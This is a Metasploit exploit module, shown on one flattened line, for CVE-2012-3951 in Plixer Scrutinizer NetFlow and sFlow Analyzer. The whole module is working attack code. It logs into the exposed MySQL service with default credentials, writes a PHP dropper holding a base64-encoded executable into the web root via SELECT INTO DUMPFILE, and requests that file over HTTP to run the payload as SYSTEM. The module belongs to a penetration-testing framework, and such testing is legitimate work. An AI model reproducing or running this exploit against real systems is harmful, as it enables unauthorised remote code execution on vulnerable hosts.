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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential", 'Description'=> %q{ This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer. By default, the software installs a default password in MySQL, and binds the service to "0.0.0.0".This allows any remote user to login to MySQL, and then gain arbitrary remote code execution under the context of 'SYSTEM'.Examples of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Mario Ceballos', 'Jonathan Claudius', 'Tanya Secker', 'sinn3r' ], 'References' => [ ['CVE', '2012-3951'], ['OSVDB', '84317'], ['URL', 'http://secunia.com/advisories/50074/'], ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt'] ], 'Payload'=> { 'BadChars' => "\x00" }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ ['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jul 27 2012", 'DefaultTarget'=> 0)) register_options( [ OptString.new("USERNAME",[true, 'The default MySQL username', 'scrutremote']), OptString.new("PASSWORD",[true, 'The default MySQL password', 'admin']), OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]), OptPort.new("HTTPPORT",[true, 'The HTTP Server\'s remote port', 80]), OptString.new("TARGETURI", [true, 'The web application\'s base path', '/']) ], self.class) # Both MySQL and HTTP need to use this, we'll have to register on the fly. deregister_options('RPORT') end def check tmp_rport = datastore['RPORT'] datastore['RPORT'] = datastore['HTTPPORT'] res = send_request_raw({'uri'=>target_uri.host}) datastore['RPORT'] = tmp_rport if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def get_php_payload(fname) p = Rex::Text.encode_base64(generate_payload_exe) php = %Q| <?php $f = fopen("#{fname}", "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); exec("#{fname}"); ?> | php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') return php end # # I wanna be able to choose my own destination... path! # def mysql_upload_binary(bindata, path) # Modify the rport so we can use MySQL datastore['RPORT'] = datastore['MYSQLPORT'] # Login h = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) # The lib throws its own error message anyway: # "Exploit failed [no-access]: RbMysql::AccessDeniedError" return false if not h tmp = mysql_get_temp_dir p = bindata.unpack("H*")[0] dest = tmp + path mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'") return true end def exe_php(php_fname) # Modify the rport so we can use HTTP datastore['RPORT'] = datastore['HTTPPORT'] # Request our payload path = File.dirname("#{target_uri.path}/.") res = send_request_raw({'uri'=>"#{path}#{php_fname}"}) return (res and res.code == 200) end def cleanup datastore['RPORT'] = @original_rport end def on_new_session(cli) if cli.type != 'meterpreter' print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin print_status("Deleting #{@php_fname}") cli.fs.file.rm(@php_fname) rescue ::Exception => e print_error("Please note: #{@php_fname} is stil on disk.") end begin print_status("Deleting #{@exe_fname}") cli.fs.file.rm(@exe_fname) rescue ::Exception => e print_error("Please note: #{@exe_fname} is still on disk.") end end def exploit @original_rport = datastore['RPORT'] # # Prepare our payload (naughty exe embedded in php) # @exe_fname = Rex::Text.rand_text_alpha(6) + '.exe' p = get_php_payload(@exe_fname) # # Upload our payload to the html directory # print_status("Uploading #{p.length.to_s} bytes via MySQL...") @php_fname = Rex::Text.rand_text_alpha(5) + '.php' if not mysql_upload_binary(p, "../../html/#{@php_fname}") print_error("That MySQL upload didn't work.") return end # # Execute the payload # print_status("Requesting #{@php_fname}...") res = exe_php(@php_fname) handler end end |
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